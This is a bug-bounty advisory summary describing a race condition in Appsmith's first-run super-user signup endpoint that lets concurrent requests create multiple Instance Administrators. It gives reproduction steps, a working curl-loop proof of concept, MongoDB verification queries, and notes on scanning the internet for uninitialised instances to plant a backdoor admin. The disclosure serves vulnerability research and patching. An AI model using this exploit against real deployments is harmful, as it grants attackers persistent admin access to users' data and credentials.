# Appsmith Super User Creation Race Condition Allows Multiple Instance Administrators

TOCTOU race in Appsmith's /api/v1/users/super lets concurrent signup requests create multiple Instance Administrators on a fresh instance.

- Payout: Research
- Severity: high
- Program: Appsmith
- Found by: Moonster8282
- Disclosed: 2026-06-12
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-9wcp-79g5-5c3c
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-9wcp-79g5-5c3c
- Tags: area:web domain:api domain:web impact:ato impact:privesc kind:research platform:ghsa sev:high tech:java vuln:access-control vuln:auth-bypass vuln:privilege-escalation vuln:race-condition

**Target:** POST /api/v1/users/super signup endpoint (UserSignupCEImpl)
**Root cause:** signupAndLoginSuper() does a non-atomic check-then-act: isUsersEmpty() MongoDB query followed by user creation, with no transaction, lock, or unique constraint, so parallel reactive requests all pass the check.
**Steps:**
1. Start fresh instance: `docker run -d --name appsmith-test -p 9090:80 appsmith/appsmith-ce:release` and wait ~90s.
2. Confirm uninitialized state via `GET /api/v1/users/me` returning `"email": "anonymousUser"`.
3. Fire 10 parallel POSTs to `/api/v1/users/super` with `Content-Type: application/x-www-form-urlencoded`, header `X-Requested-By: Appsmith`, body `email=racer${i}@evil.com&password=TestP4ssw0rd!&name=Racer${i}&allowCollectingAnonymousData=false`.
4. All requests return HTTP 302; verify in MongoDB `db.user.countDocuments({ isSystemGenerated: { $ne: true } })` returns 10 instead of 1.
**How found:** Reporter read signupAndLoginSuper() and noticed isUsersEmpty() check and signupAndLogin() act are separate non-atomic reactive steps with no @Transactional, lock, or unique index, then tested with parallel curl requests.
**Exploitation:** Attacker scans for uninitialized Appsmith instances (Shodan/Censys), confirms via /users/me anonymousUser, then races concurrent super-user signups so their account gains Instance Administrator alongside the legitimate admin, yielding persistent full admin access to users, datasource credentials, apps, and env config.
**Escalation:** Persistent backdoor admin account survives legitimate setup; grants access to all datasource credentials and app server-side logic.
**Insight:** On reactive WebFlux/Node stacks, first-run setup endpoints that gate on 'is table empty' are prime race targets: fire N parallel requests at the bootstrap endpoint before the legit admin finishes setup; also note static CSRF header values like `X-Requested-By: Appsmith` are trivially forgeable.

## Proof of concept (copied exactly from the original report)

**Concurrent POST requests to super user endpoint**

```
for i in $(seq 1 10); do
  curl -s -o /tmp/race_result_${i}.txt -w "%{http_code}" \
    -X POST http://localhost:9090/api/v1/users/super \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -H "X-Requested-By: Appsmith" \
    -d "email=racer${i}@evil.com&password=TestP4ssw0rd!&name=Racer${i}&allowCollectingAnonymousData=false" &
done
wait

# Check results
for i in $(seq 1 10); do
  echo "racer${i}: $(cat /tmp/race_result_${i}.txt)"
done
```

**MongoDB queries verifying multiple admins created**

```
db.user.countDocuments({ isSystemGenerated: { $ne: true } })

// Check who has manage:users permission
db.user.find(
  { isSystemGenerated: { $ne: true } },
  { email: 1, "policies.permission": 1 }
).forEach(u => {
  const hasManage = u.policies?.some(p => p.permission === "manage:users");
  printjson({ email: u.email, manage_users: hasManage });
});

// Check Instance Administrator Role assignments
db.permissionGroup.findOne(
  { name: "Instance Administrator Role" },
  { assignedToUserIds: 1 }
);
```

